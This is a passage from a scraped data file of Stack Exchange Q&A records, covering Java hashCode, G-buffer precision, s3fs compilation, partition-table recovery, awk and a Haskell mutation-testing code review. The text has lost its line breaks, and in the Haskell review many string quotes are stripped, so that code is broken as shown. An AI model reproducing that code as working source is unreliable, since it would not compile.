, "accepted_answer": "Your approach is flawed in both ways. I see some fundamental misunderstanding of equals, hashcode and == operator.To Option APros of A ... Can also be used with mutable ObjectsOverriding hashcode and equals on mutable objects will lead to unaccessable elements within hash-based datastructures like HashMap or HashSet. Always make sure your objects are immutable when overriding these methods.Furthermore your implementation of equals is semantically wrong. This is because you make equals dependent on hashcode only.Maybe you can precheck the hashcode to avoid a complex equals-evaluation if the hashcodes aren't equal.hashcode has a totally other purpose. It provides a value that is used in hash-based datastructures to balance lookup tables to increase lookup performance and minimze the binary search path.You may say that Integer.hashcode(int i) always returns i. Yes, but you depend on implementation details for a totally different semantic.A correct implementation for your SomeInt:public class SomeInt {    private final int value;    public SomeInt(int value) {        this.value = value;    }    public int getValue() {        return this.value;    }    @Override    public boolean equals(Object object) {        boolean equals = false;        if (object instanceof SomeInt) {            SomeInt that = (SomeInt) object;            equals = this.value == that.value;        }        return equals;    }    @Override    public int hashCode() {        return this.value;    }}To Option BYes you can do so. But the achieve the same with the correct hashcode equals implementation on immutable datastructures with less overhead.Logical pathIf you override equals you have to override hashcodehashcode is used within hash-based datastructures to put objects into  bucketsIf you change the value hashcode depends on AND you have put the object into a hash-based datastructure before, it is very probable that you never find this object again.Therefore values that are used to generate the hashcode must not change if you want to use the objects within hash-based datastructures."  } 
{  "id": "_computergraphics.4969"  , "question": "I'm in the process of working out how to pack all the information I need for a Physically Based Deferred Renderer into a G-Buffer without using an obscene amount of render targets. What I have so far is 4 3-part vectors: Albedo/DiffuseNormalTangentPositionAnd 4 single componentsMetallicRoughnessHeightAmbient OcclusionA naive approach is to bundle one of the single components into the alpha (fourth) channel with one of the 3-part vectors, which is my current line of investigation. However, given that four 4-channel full precision floating point render targets isn't small I understand it's common to use half precision and even smaller representations to be more memory conscious. What I'm asking is: which components can I safely cut precision down on without losing quality, and by how much?"  , "title": "How much precision do I need in my G-Buffer?"  , "tags": "optimisation;deferred rendering"  , "accepted_answer": "First of all, you don't need position in the G-buffer at all. The position of a pixel can be reconstructed from the depth buffer, knowing the camera setup and the pixel's screen-space xy position. So you can get rid of that whole buffer.Also, you don't ordinarily need tangent vectors in the G-buffer either. They're only needed for converting normal maps from tangent space, and for parallax mapping; these would be done during the G-buffer fill pass (when you have tangents from the mesh you're rendering), and the G-buffer would only store normals in world or view space.Material properties like colors, roughness, and metallic are usually just 8-bit values in the G-buffer, since they're sourced from 8-bit textures. Same for AO.Height is also not needed in the G-buffer unless you're going to be doing some kind of multi-pass blending that depends on it, but if you do need it, 8 bits is probably enough for that too.Normals can be benefit from being stored as 16-bit values rather than 8-bit. Half-float is okay, but 16-bit fixed-point is even better, as it gives you more uniform precision across all orientations (half-float is more precise near the axes and loses some precision away from them). Moreover, you can cut them from 3 components down to 2 using octahedral mapping.So, at the end of the day, a minimal G-buffer might look like:Material color + metallic: RGBA8Octahedral world-space normal + roughness + AO: RGBA16and that's all! Only 12 bytes per pixel.Alternatively, you could use an RG16 buffer for the normals, and move roughness + AO into a separate 8-bit buffer. That would give you some room to grow should you eventually need more G-buffer components of either 8-bit or 16-bit sizes."  } 
{  "id": "_webmaster.6425"  , "question": "Possible Duplicate:How to find web hosting that meets my requirements? I'd like to be able to have a very lightweight Windows Service call some code on the Web Server at regular intervals. Do I have any options besides a Dedicated/Semi-Dedicated Server?"  , "title": "Are there any Shared Web Hosts that provide access to run Windows Services?"  , "tags": "web hosting;looking for hosting;windows"  } 
{  "id": "_unix.346039"  , "question": "The Fuse packages that are available by default on CentOS 7.3 are a bit dated. The compilation process for Fuse 3 and s3fs should be pretty straight forward.  Fuse compiles and installs fine:mkdir ~/src && cd src# Most recent version: https://github.com/libfuse/libfuse/releaseswget https://github.com/libfuse/libfuse/releases/download/fuse-3.0.0/fuse-3.0.0.tar.gztar xvf fuse-3.0.0.tar.gz && cd fuse-3.0.0./configure --prefix=/usrmake make installexport PKG_CONFIG_PATH=/usr/lib/pkgconfig:/usr/lib64ldconfigmodprobe fusepkg-config modversion fuseNo problems there...  Things show up where they should it seems,$ ls /usr/lib:libfuse3.a  libfuse3.la  libfuse3.so  libfuse3.so.3  libfuse3.so.3.0.0  pkgconfig  udev$ ls /usr/local/lib/pkgconfig/:fuse3.pc$ which fusermount3:/usr/bin/fusermount3So I proceed to install s3fs:cd ~/srcgit clone https://github.com/s3fs-fuse/s3fs-fuse.gitcd s3fs-fuse./autogen.sh./configure --prefix=/usrAnd then every time, I hit this:...configure: error: Package requirements (fuse >= 2.8.4 libcurl >= 7.0 libxml-2.0 >= 2.6) were not met:No package 'fuse' foundConsider adjusting the PKG_CONFIG_PATH environment variable if youinstalled software in a non-standard prefix.Alternatively, you may set the environment variables common_lib_checking_CFLAGSand common_lib_checking_LIBS to avoid the need to call pkg-config.See the pkg-config man page for more details.Any idea why s3fs is not finding Fuse properly?"  , "title": "s3fs refuses to compile on CentOS 7, why's it not finding Fuse?"  , "tags": "centos;compiling;configure;fuse;s3fs"  , "accepted_answer": "Version 1.8 of s3fs doesn't support fuse3. I learnt it rather hard way.I edited s3fs configure script to replace fuse with fuse3 in the version check. configure script went well after that. However, s3fs compilation fails with some error around incompatibility with fuse functions used. (I don't have the exact compilation error - didn't save the error).I ended up installing fuse 2.9.x and s3fs installation went well."  } 
{  "id": "_webapps.2270"  , "question": "Any recommendations for web apps for sending bulk SMS to several mobile numbers?"  , "title": "Web app to send Bulk SMS"  , "tags": "webapp rec;sms"  , "accepted_answer": "Clickatell and Commzgate support bulk messages - both have easy-to-use web APIs as well. Both these services are quite expensive though. If most of the SMSes you are sending are local, you can setup an SMS gateway (ozeki, visualtron etc), a GSM modem and send SMSes using a purchased SIM card. Remember to test using a prepaid SIM to avoid running up a large phone bill in case the automated system malfunctions.  "  } 
{  "id": "_unix.38909"  , "question": "As we know a very basic software engineering principal is loose coupling. But we know that programs in UNIX-like OSs are extremely coupled. How this can be explained/justified? I mean from extremely coupled, a lot of dependencies between programs, even when you want install a simple application you have to consider a lot of dependencies (as you see in app manager), some time even you are unable to update a program because it will break some dependent programs. Indeed stand-alone softwares are rare in beauty world of Linux (in compare with other OSs)."  , "title": "How extreme-coupling in UNIX-like OSs can be acceptable?"  , "tags": "application"  } 
{  "id": "_unix.355721"  , "question": "I am using KDE 5 with Yakuake as my drop-down terminal, on Kubuntu. I am now encountering a documented bug, which is that the separators between multiple terminals only show on a black background. Screenshots attached:My diagnosis here is that the color profile configuration options for some reason don't affect the color of the terminal separator. (This used to be the case in KDE 4). I've tried changing skins, editing my Shell profile, etc. It now seems to me that surely the color of the separator line must be hardcoded somewhere, and that I can change this color? Does anyone know where I can find this?"  , "title": "Configure Yakuake Terminal Separator Color?"  , "tags": "terminal;kde;colors;debugging;kubuntu"  } 
{  "id": "_unix.115998"  , "question": "I have several columns of data. I always have the same number of rows (say 5). In the 2nd column, I want to multipy the first value by 5, then the second value by 4, the third value by 3, etc. I then want to sum these values, and divide by the sum of the values in the second column. How would I do this in sed and/or awk?Example:4 5 7 1 2 35 1 2 3 1 24 2 3 6 1 23 4 1 6 3 32 3 1 2 1 6Answer: (5*5 + 4*1 + 3*2 + 2*4 + 1*3)/(5 + 1 + 2 + 4 + 3) = 3.067"  , "title": "How do I multiply and sum column data using awk and or sed?"  , "tags": "sed;awk"  , "accepted_answer": "Replace 6 with total (number of lines + 1) if needed: awk '{mult+=$2*(6-NR); sum+=$2;} END {print mult/sum;}' yourfile.txt Displays: 3.06667"  } 
{  "id": "_unix.150916"  , "question": "So doing something like this in bash and most other shells won't work to create multiple subdirectories or files within subdirectories... mkdir */testtouch */hello.txtThere are of course many ways of actually doing this, my preferred one is to use find when possible rather than using a for loop, for readability mainly.But my question is, why do the above not work?From what I understand it's because the full destination file/path does not exist but surely that's a good thing if I'm trying to mkdir or touch. I've always just moved on and never really questioned it.But does anyone have a decent explanation for this that will help me understand once and for all?"  , "title": "bash/shell pathname expansion for mkdir, touch etc?"  , "tags": "shell;wildcards"  } 
{  "id": "_unix.148270"  , "question": "I'm running Ubuntu 14.04 on a machine that has a lot of hard drives plugged into it. These hard drives have partitions with old OS's which have a lot of key data that I use often. The problem is, I have 2 partitions with the same name, Main Drive and Main Drive. Ubuntu, to differentiate between them, renames one drive to Main Drive1, while keeping the other just Main Drive. The problem is, every time I restart Ubuntu, it chooses randomly which partition to rename. As a result, any bookmarks or directories that I have in those partitions, do not work, and have to be reconfigured every time I reboot.Are there any solutions to this problem?"  , "title": "Two HDD partitions with the same name result in uncertain directories"  , "tags": "ubuntu;partition;rename;reboot"  } 
{  "id": "_unix.35681"  , "question": "I just accidentally scrubbed all the partitions from the wrong disk./dev/sda is the boot disk, and /dev/sdb is a new disk I am trying to set up as a RAID mirror. I accidentally fat-fingered it, and wound up deleting the partition table on /dev/sda, rather then /dev/sdb.The system is still up and running, so it's running off a cached partition table somewhere.Can I recover the partition table, or at least view it, so I can recreate the partitions exactly where they were?fdisk /dev/sda -l yields no partitions.Yeah, I feel clever"  , "title": "Accidentally deleted the partitions on my boot disk. The system is still running. How can I recover?"  , "tags": "linux;partition;data recovery"  , "accepted_answer": "The kernel keeps the partition table in cache permanently (unless explicitly told to reload, and that can't be done if some of the partitions are in use). So you're safe until you reboot (or tell the kernel to operate on data that doesn't reflect the true disk contents; for example, if you've already activated mdraid, it might have written its metadata on the disk already).If you have an up-to-date backup of your boot sector (the first 512 bytes), you can restore it (cat boot-sector-backup >/dev/sda  do check that the size of the file you're restoring is exactly 512 bytes). Your bootloader installation may have created a boot sector backup, but if it's been upgraded or you've repartitioned since then, it won't be up-to-date. Do not restore a backup that may be obsolete.The kernel's information about the partitions is accessible through /sys/class/block/sda/sda*. In the directory for each partition (sda1, sda2, etc.):start contains the offset of the beginning of the partition, in 512-byte sectors.size contains the size of the partition, in 512-byte sectors (except for the extended partition).If you have partitions numbered 5 or above, they are logical partitions (see What is the difference between extended partition and logical partition), contained inside an extended partition. There is a single extended partition (or none), and it is one of the partitions 14. The file size does not contain the size of the extended partition, so you first need to determine that; it must be large enough for all logical partitions to fit, and must not encompass any primary partitions (the other partitions numbered 14).Run fdisk /dev/sda. Use u to switch the unit to sectors. Create the partitions (n) with the right offset and size (as the prompt says, put + before the number of sectors when it comes to the size), starting with the extended partition.Use p to check that the partition table looks right. If some of these partitions are not Linux data partitions, use t to set their type (82 for Linux swap, c for a Windows FAT32 partition, 7 for a Windows NTFS partition). If you have a bootable DOS/Windows partition, set its bootable flag (a).Double-check that the output looks good, then press w to commit the new table to disk.Save the contents of /sys/class/block/sda/ in a tar archive on a USB stick. Then reboot from a removable media. **After rebooting, if the partition table you created is not correct, you risk massive data corruption**. So from the removable media, runfsck -n(don't forget the-n) to check the consistency of the filesystems on each partition (don't usemount`, which would only work if the offset was correct and could damage the disk (even in read-only mode, because it would write the journal) if the offset was correct but not the size).If fsck finds no filesystem, you got the offset of a partition wrong. If it reports errors, chances are you got the size of the partition wrong. As long as you haven't written to the disk, you can still fix the partition table. When you have no partition from the disk mounted, pressing w in fdisk will make the kernel re-read the partition table. Once you have your partitions right, you should be able to reboot into your normal system and continue as usual."  } 
{  "id": "_unix.36068"  , "question": "I'm using Xfce 4.3 and the lightweight Thunar file manager. I often change file listings between Sort by Date Modified and Sort by Name. But it seems the only way to do this is by clicking the column header with the mouse, which slows down productivity.Is there anyway to activate these sort mechanisms using the keyboard? They are not listed in any of the menus."  , "title": "Thunar file manager: Sort by column keyboard shortcut?"  , "tags": "xfce;thunar"  , "accepted_answer": "Try following the steps in this faq entrty"  } 
{  "id": "_webmaster.55151"  , "question": "Let's say I have a website with frontend and backend. The website allows users to upload some data ranging from hundreds of MB to GB. How do you effectively upload this data?The easiest way would be to upload it from client/browser to the frontend server. Then send it via API or something to the backend server which has connected data storage, where we'll save the data. This would, however, run really slow, because the upload will be twice as big.Another way that occurred to me would be to send the data directly from javascript running inside the browser to the backend's API. This can be inappropriate when I don't want the backend/backend's API to be accessible to public. It's also not good for the architecture (if you have fe and be, you probably don't want to communicate from client to be).So, do you have any ideas? Or is there some kind of general way to do this effectively? Does it include CDNs? Or should I store the data in a database as base64 strings if it'd only be few hundreds of MB pre file?"  , "title": "Effective upload to backend?"  , "tags": "php;javascript;content;data;uploading"  } 
{  "id": "_codereview.75089"  , "question": "We have been working on a mutation analysis tool for Haskell tests called MuCheck. It accepts any Haskell source file, and a function name to mutate, applies a defined set of mutation operators on it, and runs the specified test suite on it. The mutation of code is accomplished using the haskell-src-ext library, and SYB functions. I would like help on how to make this code better. I would really appreciate comments on improving the clarity, and also better ways of doing things.I have run it through hlint, and have accepted most of its recommendations.Our project along with unit tests and run instructions is here.The library entry-- | MuCheck base modulemodule Test.MuCheck (mucheck) whereimport System.Environment (getArgs, withArgs)import Control.Monad (void)import Test.MuCheck.MuOpimport Test.MuCheck.Configimport Test.MuCheck.Mutationimport Test.MuCheck.Operatorsimport Test.MuCheck.Utils.Commonimport Test.MuCheck.Utils.Printimport Test.MuCheck.Interpreter (mutantCheckSummary)import Test.MuCheck.TestAdapter-- | Perform mutation analysismucheck :: (Summarizable a, Show a) => ([String] -> [InterpreterOutput a] -> TSum) -> String -> FilePath -> String -> [String] -> IO ()mucheck resFn mFn file modulename args = do  numMutants <- genMutants mFn file  let muts = take numMutants $ genFileNames file  void $ mutantCheckSummary resFn muts modulename args (./mucheck- ++ mFn ++ .log)Configuration Options-- | Configuration modulemodule Test.MuCheck.Config whereimport Test.MuCheck.MuOpimport Test.MuCheck.Operators (allOps)data GenerationMode  = FirstOrderOnly  | FirstAndHigherOrder  deriving (Eq, Show)data Config = Config {-- | Mutation operators on operator or function replacement  muOps :: [MuOp]-- | Mutate pattern matches for functions?--  , doNegateGuards :: Rational-- | Maximum number of mutants to generate.  , maxNumMutants :: Int-- | Generation mode, can be traditional (firstOrder) and-- higher order (higher order is experimental)  , genMode :: GenerationMode }  deriving Show-- | The default configurationdefaultConfig :: ConfigdefaultConfig = Config {muOps = allOps  , doMutatePatternMatches = 1.0  , doMutateValues = 1.0  , doNegateIfElse = 1.0  , doNegateGuards = 1.0  , maxNumMutants = 300  , genMode = FirstOrderOnly }Interpreter for mutants{-# LANGUAGE StandaloneDeriving, DeriveDataTypeable #-}-- | The entry point for mucheckmodule Test.MuCheck.Interpreter (mutantCheckSummary) whereimport qualified Language.Haskell.Interpreter as Iimport Control.Monad.Trans ( liftIO )import Data.Typeableimport Test.MuCheck.Utils.Print (showA, showAS, (./.))import Data.Either (partitionEithers, rights)import Data.List(groupBy, sortBy)import Data.Function (on)import Test.MuCheck.TestAdapter-- | Given the list of tests suites to check, run one test suite at a time on-- all mutants.mutantCheckSummary :: (Summarizable a, Show a) => ([String] -> [InterpreterOutput a] -> TSum) -> [String] -> String -> [String] -> FilePath -> IO ()mutantCheckSummary testSummaryFn mutantFiles topModule evalSrcLst logFile  = do  results <- mapM (runCodeOnMutants mutantFiles topModule) evalSrcLst  let singleTestSummaries = zip evalSrcLst $ map (testSummaryFn mutantFiles) results      tssum  = multipleCheckSummary (isSuccess . snd) results  -- print results to terminal  putStrLn $ delim ++ Overall Results:  putStrLn $ terminalSummary tssum  putStrLn $ showAS $ map showBrief singleTestSummaries  putStr delim  -- print results to logfile  appendFile logFile $ OVERALL RESULTS:\\n ++ tssum_log tssum ++ showAS (map showDetail singleTestSummaries)  return ()  where showDetail (method, msum) = delim ++ showBrief (method, msum) ++ \\n ++ tsum_log msum        showBrief (method, msum) = showAS [method,           \\tTotal number of mutants:\\t ++ show (tsum_numMutants msum),           \\tFailed to Load:\\t ++ (cpx tsum_loadError),           \\tNot Killed:\\t ++ (cpx tsum_notKilled),           \\tKilled:\\t ++ (cpx tsum_killed),           \\tOthers:\\t ++ (cpx tsum_others),           ]           where cpx fn = show (fn msum) ++   ++ (fn msum) ./. (tsum_numMutants msum)        terminalSummary tssum = showAS [          Total number of mutants:\\t ++ show (tssum_numMutants tssum),          Total number of alive mutants:\\t ++ (cpx tssum_alive),          Total number of load errors:\\t ++ (cpx tssum_errors),          ]           where cpx fn = show (fn tssum) ++   ++ (fn tssum) ./. (tssum_numMutants tssum)        delim = \\n ++ replicate 25 '=' ++ \\n-- | Run one test suite on all mutantsrunCodeOnMutants mutantFiles topModule evalStr = mapM (evalMyStr evalStr) mutantFiles  where evalMyStr evalStr file = do putStrLn $ > ++ : ++ file ++ : ++ topModule ++ : ++ evalStr                                    I.runInterpreter (evalMethod file topModule evalStr)-- | Given the filename, modulename, test to evaluate, evaluate, and return result as a pair.---- > t = I.runInterpreter (evalMethod-- >        Examples/QuickCheckTest.hs-- >        Examples.QuickCheckTest-- >        quickCheckResult idEmp)evalMethod :: (I.MonadInterpreter m, Typeable t) => String -> String -> String -> m (String, t)evalMethod fileName topModule evalStr = do  I.loadModules [fileName]  I.setTopLevelModules [topModule]  result <- I.interpret evalStr (I.as :: (Typeable a => IO a)) >>= liftIO  return (fileName, result)-- | Datatype to hold results of the entire rundata TSSum = TSSum {tssum_numMutants::Int,                    tssum_alive::Int,                    tssum_errors::Int,                    tssum_log::String}-- | Summarize the entire runmultipleCheckSummary isSuccessFunction results  -- we assume that checking each prop results in the same number of errorCases and executedCases  | not (checkLength results) = error Output lengths differ for some properties.  | otherwise = TSSum {tssum_numMutants = countMutants,                       tssum_alive = countAlive,                       tssum_errors= countErrors,                       tssum_log = logMsg}  where executedCases = groupBy ((==) `on` fst) . sortBy (compare `on` fst) . rights $ concat results        allSuccesses = [rs | rs <- executedCases, length rs == length results, all isSuccessFunction rs]        countAlive = length allSuccesses        countErrors = countMutants - length executedCases        logMsg = showA allSuccesses        checkLength results = and $ map ((==countMutants) . length) results ++ map ((==countExecutedCases) . length) executedCases        countExecutedCases = length . head $ executedCases        countMutants = length . head $ resultsMutation of code{-# LANGUAGE ImpredicativeTypes #-}-- | Mutation happens here.module Test.MuCheck.Mutation whereimport Language.Haskell.Exts(Literal(Int), Exp(App, Var, If), QName(UnQual),        Stmt(Qualifier), Module(Module), ModuleName(..),        Name(Ident, Symbol), Decl(FunBind, PatBind), Match,        Pat(PVar), Match(Match), GuardedRhs(GuardedRhs),         prettyPrint, fromParseResult, parseFileContents)import Data.Maybe (fromJust)import Data.Generics (GenericQ, mkQ, Data, Typeable, mkMp, listify)import Data.List(nub, (\\\\), permutations)import Control.Monad (liftM, zipWithM)import System.Randomimport Data.Time.Clock.POSIXimport Test.MuCheck.MuOpimport Test.MuCheck.Utils.Sybimport Test.MuCheck.Utils.Commonimport Test.MuCheck.Operatorsimport Test.MuCheck.ConfiggenMutants = genMutantsWith defaultConfiggenMutantsWith args funcname filename  = liftM length $ do    ast <- getASTFromFile filename    g <- liftM (mkStdGen . round) getPOSIXTime    let f = getFunc funcname ast        ops, swapOps, valOps, ifElseNegOps, guardedBoolNegOps :: [MuOp]        ops = relevantOps f (muOps args ++ valOps ++ ifElseNegOps ++ guardedBoolNegOps)        swapOps = sampleF g (doMutatePatternMatches args) $ permMatches f ++ removeOnePMatch f        valOps = sampleF g (doMutateValues args) $ selectIntOps f        ifElseNegOps = sampleF g (doNegateIfElse args) $ selectIfElseBoolNegOps f        guardedBoolNegOps = sampleF g (doNegateGuards args) $ selectGuardedBoolNegOps f        patternMatchMutants, ifElseNegMutants, guardedNegMutants, operatorMutants, allMutants :: [Decl]        allMutants = nub $ patternMatchMutants ++ operatorMutants        patternMatchMutants = mutatesN swapOps f fstOrder        ifElseNegMutants = mutatesN ifElseNegOps f fstOrder        guardedNegMutants = mutatesN guardedBoolNegOps f fstOrder        operatorMutants = case genMode args of            FirstOrderOnly -> mutatesN ops f fstOrder            _              -> mutates ops f        getFunc fname ast = head $ listify (isFunctionD fname) ast        programMutants ast =  map (putDecls ast) $ mylst ast        mylst ast = [myfn ast x | x <- take (maxNumMutants args) allMutants]        myfn ast fn = replace (getFunc funcname ast,fn) (getDecls ast)    case ops ++ swapOps of      [] -> return [] --  putStrLn No applicable operator exists!      _  -> zipWithM writeFile (genFileNames filename) $ map prettyPrint (programMutants ast)  where fstOrder = 1 -- first order        getASTFromFile filename = liftM parseModuleFromFile $ readFile filename-- | Mutating a function's code using a bunch of mutation operators-- (In all the three mutate functions, we assume working-- with functions declaration.)mutates :: [MuOp] -> Decl -> [Decl]mutates ops m = filter (/= m) $ concatMap (mutatesN ops m) [1..]-- the third argument specifies whether it's first order or higher ordermutatesN :: [MuOp] -> Decl -> Int -> [Decl]mutatesN ops m 1 = concat [mutate op m | op <- ops ]mutatesN ops m c =  concat [mutatesN ops m 1 | m <- mutatesN ops m (c-1)]-- | Given a function, generate all mutants after applying applying -- op once (op might be applied at different places).E.g.:-- op = < ==> > and there are two instances of <mutate :: MuOp -> Decl -> [Decl]mutate op m = once (mkMp' op) m \\\\ [m]-- | is the parsed expression the function we are looking for?isFunctionD :: String -> Decl -> BoolisFunctionD n (FunBind (Match _ (Ident n') _ _ _ _ : _)) = n == n'isFunctionD n (FunBind (Match _ (Symbol n') _ _ _ _ : _)) = n == n'isFunctionD n (PatBind _ (PVar (Ident n')) _ _)          = n == n'isFunctionD _ _                                  = False-- | Generate all operators for permutating pattern matches in-- a function. We don't deal with permutating guards and case for now.permMatches :: Decl -> [MuOp]permMatches d@(FunBind ms) = d ==>* map FunBind (permutations ms \\\\ [ms])permMatches _  = []-- | generates transformations that removes one pattern match from a function-- definition.removeOnePMatch :: Decl -> [MuOp]removeOnePMatch d@(FunBind [x]) = []removeOnePMatch d@(FunBind ms) = d ==>* map FunBind (removeOneElem ms \\\\ [ms])removeOnePMatch _  = []-- | generate sub-arrays with one less elementremoveOneElem :: Eq t => [t] -> [[t]]removeOneElem l = choose l (length l - 1)-- AST/module-related operations-- | Parse a module. Input is the content of the fileparseModuleFromFile :: String -> ModuleparseModuleFromFile inp = fromParseResult $ parseFileContents inpgetDecls :: Module -> [Decl]getDecls (Module _ _ _ _ _ _ decls) = declsputDecls :: Module -> [Decl] -> ModuleputDecls (Module a b c d e f _) decls = Module a b c d e f decls-- Define all operations on a valueselectValOps :: (Data a, Eq a, Typeable b, Mutable b, Eq b) => (b -> Bool) -> [b -> b] -> a -> [MuOp]selectValOps pred fs m = concatMap (\\x -> x ==>* map (\\f -> f x) fs) vals  where vals = nub $ listify pred mselectValOps' :: (Data a, Eq a, Typeable b, Mutable b) => (b -> Bool) -> (b -> [b]) -> a -> [MuOp]selectValOps' pred f m = concatMap (\\x -> x ==>* f x) vals  where vals = listify pred mselectIntOps :: (Data a, Eq a) => a -> [MuOp]selectIntOps m = selectValOps isInt [      \\(Int i) -> Int (i + 1),      \\(Int i) -> Int (i - 1),      \\(Int i) -> if abs i /= 1 then Int 0 else Int i,      \\(Int i) -> if abs (i-1) /= 1 then Int 1 else Int i] m  where isInt (Int _) = True        isInt _       = False-- | negating boolean in if/else statementsselectIfElseBoolNegOps :: (Data a, Eq a) => a -> [MuOp]selectIfElseBoolNegOps m = selectValOps isIf [\\(If e1 e2 e3) -> If (App (Var (UnQual (Ident not))) e1) e2 e3] m  where isIf If{} = True        isIf _    = False-- | negating boolean in GuardsselectGuardedBoolNegOps :: (Data a, Eq a) => a -> [MuOp]selectGuardedBoolNegOps m = selectValOps' isGuardedRhs negateGuardedRhs m  where isGuardedRhs GuardedRhs{} = True        boolNegate e@(Qualifier (Var (UnQual (Ident otherwise)))) = [e]        boolNegate (Qualifier exp) = [Qualifier (App (Var (UnQual (Ident not))) exp)]        boolNegate x = [x]        negateGuardedRhs (GuardedRhs srcLoc stmts exp) = [GuardedRhs srcLoc s exp | s <- once (mkMp boolNegate) stmts]Supporting routines for mutationmodule Test.MuCheck.MuOp (MuOp          , Mutable(..)          , (==>*)          , (*==>*)          , (~~>)          , mkMp'          , same          ) whereimport Language.Haskell.Exts (Name, QName, QOp, Exp, Literal, GuardedRhs, Decl)import qualified Data.Generics as Gimport Control.Monad (MonadPlus, mzero)data MuOp = N  (Name, Name)          | QN (QName, QName)          | QO (QOp, QOp)          | E  (Exp, Exp)          | D  (Decl, Decl)          | L  (Literal, Literal)          | G  (GuardedRhs, GuardedRhs)  deriving Eq-- boilerplate code-- | The function `same` applies on a `MuOP` determining if transformation is-- between same values.same :: MuOp -> Boolsame (N (a,b)) = a == bsame (QN (a,b)) = a == bsame (E (a,b)) = a == bsame (D (a,b)) = a == bsame (L (a,b)) = a == bsame (G (a,b)) = a == bmkMp' (N (s,t))  = G.mkMp (s ~~> t)mkMp' (QN (s,t)) = G.mkMp (s ~~> t)mkMp' (QO (s,t)) = G.mkMp (s ~~> t)mkMp' (E (s,t))  = G.mkMp (s ~~> t)mkMp' (D (s,t))  = G.mkMp (s ~~> t)mkMp' (L (s,t))  = G.mkMp (s ~~> t)mkMp' (G (s,t))  = G.mkMp (s ~~> t)showM (s, t) = \\n ++ show s ++  ==>  ++ show tinstance Show MuOp where    show (N a)  = showM a    show (QN a) = showM a    show (QO a) = showM a    show (E a)  = showM a    show (D a)  = showM a    show (L a)  = showM a    show (G a)  = showM a-- end boilerplate code-- Mutation operation representing translation from one fn to another fn.class Mutable a where    (==>) :: a -> a -> MuOp(==>*) :: Mutable a => a -> [a] -> [MuOp](==>*) x lst = map (\\i -> x ==> i) lst(*==>*) :: Mutable a => [a] -> [a] -> [MuOp]xs *==>* ys = concatMap (==>* ys) xs-- we handle x ~~> x separately(~~>) :: (MonadPlus m, Eq a) => a -> a -> (a -> m a)x ~~> y = \\z -> if z == x then return y else mzero-- instancesinstance Mutable Name where    (==>) = (N .) . (,)instance Mutable QName where    (==>) = (QN .) . (,)instance Mutable QOp where    (==>) = (QO .) . (,)instance Mutable Exp where    (==>) = (E .) . (,)instance Mutable Decl where    (==>) = (D .) . (,)instance Mutable Literal where    (==>) = (L .) . (,)instance Mutable GuardedRhs where    (==>) = (G .) . (,)A few generic routines used in other parts-- | Common functions used by MuCheckmodule Test.MuCheck.Utils.Common whereimport System.FilePath (splitExtension)import System.Randomimport Data.Listimport Control.Applicative-- | The `choose` function generates subsets of a given sizechoose :: [a] -> Int -> [[a]]choose xs n = filter (\\x -> length x == n) $ subsequences xs-- | The `coupling` function produces all possible pairings, and applies the-- given function to eachcoupling fn ops = [(fn o1 o2) | o1 <- ops, o2 <- ops, o1 /= o2]-- | The `genFileNames` function lazily generates filenames of mutantsgenFileNames :: String -> [String]genFileNames s =  map newname [1..]    where (name, ext) = splitExtension s          newname i= name ++ _ ++ show i ++ ext-- | The `replace` function replaces first element in a list given old and new values as a pairreplace :: Eq a => (a,a) -> [a] -> [a]replace (o,n) lst = map replaceit lst  where replaceit v          | v == o = n          | otherwise = v-- | The `sample` function takes a random generator and chooses a random sample-- subset of given size.sample :: (RandomGen g, Num n, Eq n) => g -> n -> [t] -> [t]sample g 0 xs = []sample g n xs = val : sample g' (n - 1) (remElt idx xs)  where val = xs !! idx        (idx,g')  = randomR (0, length xs - 1) g-- | The `sampleF` function takes a random generator, and a fraction and-- returns subset of size given by fractionsampleF :: (RandomGen g, Num n) => g -> Rational -> [t] -> [t]sampleF g f xs = sample g l xs    where l = round $ f * fromIntegral (length xs)-- | The `remElt` function removes element at index specified from a listremElt :: Int -> [a] -> [a]remElt idx xs = front ++ ack  where (front,b:ack) = splitAt idx xs-- | The `swapElts` function swaps two elements in a list given their indicesswapElts :: Int -> Int -> [t] -> [t]swapElts i j ls = [get k x | (k, x) <- zip [0..length ls - 1] ls]  where get k x | k == i = ls !! j                | k == j = ls !! i                | otherwise = x-- | The `genSwapped` generates a list of lists where each element has been-- swapped by anothergenSwapped :: [t] -> [[t]]genSwapped lst = map (\\(x:y:_) -> swapElts x y lst) swaplst  where swaplst = choose [0..length lst - 1] 2Common SYB routines{-# LANGUAGE RankNTypes #-}-- | SYB functionsmodule Test.MuCheck.Utils.Syb (relevantOps, once) whereimport Data.Generics (Data, GenericM, gmapMo)import Test.MuCheck.MuOp (mkMp', MuOp, same)import Control.Monad (MonadPlus, mplus)import Data.Maybe(isJust)-- | apply a mutating function on a piece of code one at a time-- like somewhere (from so)once :: MonadPlus m => GenericM m -> GenericM monce f x = f x `mplus` gmapMo (once f) x-- | The function `relevantOps` does two filters. For the first, it-- removes spurious transformations like Int 1 ~~> Int 1. Secondly, it-- tries to apply the transformation to the given program on some element -- if it does not succeed, then we discard that transformation.relevantOps :: (Data a, Eq a) => a -> [MuOp] -> [MuOp]relevantOps m oplst = filter (relevantOp m) $ filter (not . same) oplst  -- check if an operator can be applied to a program  where relevantOp m op = isJust $ once (mkMp' op) mCommon print routinesmodule Test.MuCheck.Utils.Print whereimport Debug.Traceimport Data.List(intercalate)-- | simple wrapper for adding a % at the end.n ./. t =  ( ++ show (n * 100 `div` t) ++ %)-- | join lines togethershowAS :: [String] -> StringshowAS = intercalate \\n-- | make lists into lines in text.showA :: Show a => [a] -> StringshowA =  showAS . map showtt v = trace (> ++ (show v)) vMutation opertorsmodule Test.MuCheck.Operators (comparators,                          predNums,                          binAriths,                          arithLists,                          allOps) whereimport Test.MuCheck.MuOpimport Test.MuCheck.Utils.Commonimport Language.Haskell.Exts (Name(Symbol), Exp(Var), QName(UnQual), Name(Ident))-- | all available operatorsallOps = concat [comparators, predNums, binAriths, arithLists]-- | comparison operators [<, >, <=, >=, /=, ==]comparators = coupling (==>) $ map Symbol [<, >, <=, >=, /=, ==]-- | predicates [pred, id, succ]predNums = coupling (==>) $ map varfn [pred, id, succ]-- | binary arithmetic [+, -, *, /]binAriths = coupling (==>) $ map Symbol [+, -, *, /]-- | functions on lists [sum, product, maximum, minimum, head, last]arithLists = coupling (==>) $ map varfn [sum, product, maximum, minimum, head, last]-- utilitiesvarfn = Var . UnQual . IdentCommon routines for integrating test frameworksmodule Test.MuCheck.TestAdapter whereimport qualified Language.Haskell.Interpreter as Iimport Data.Typeabletype InterpreterOutput a = Either I.InterpreterError (String, a)data TSum = 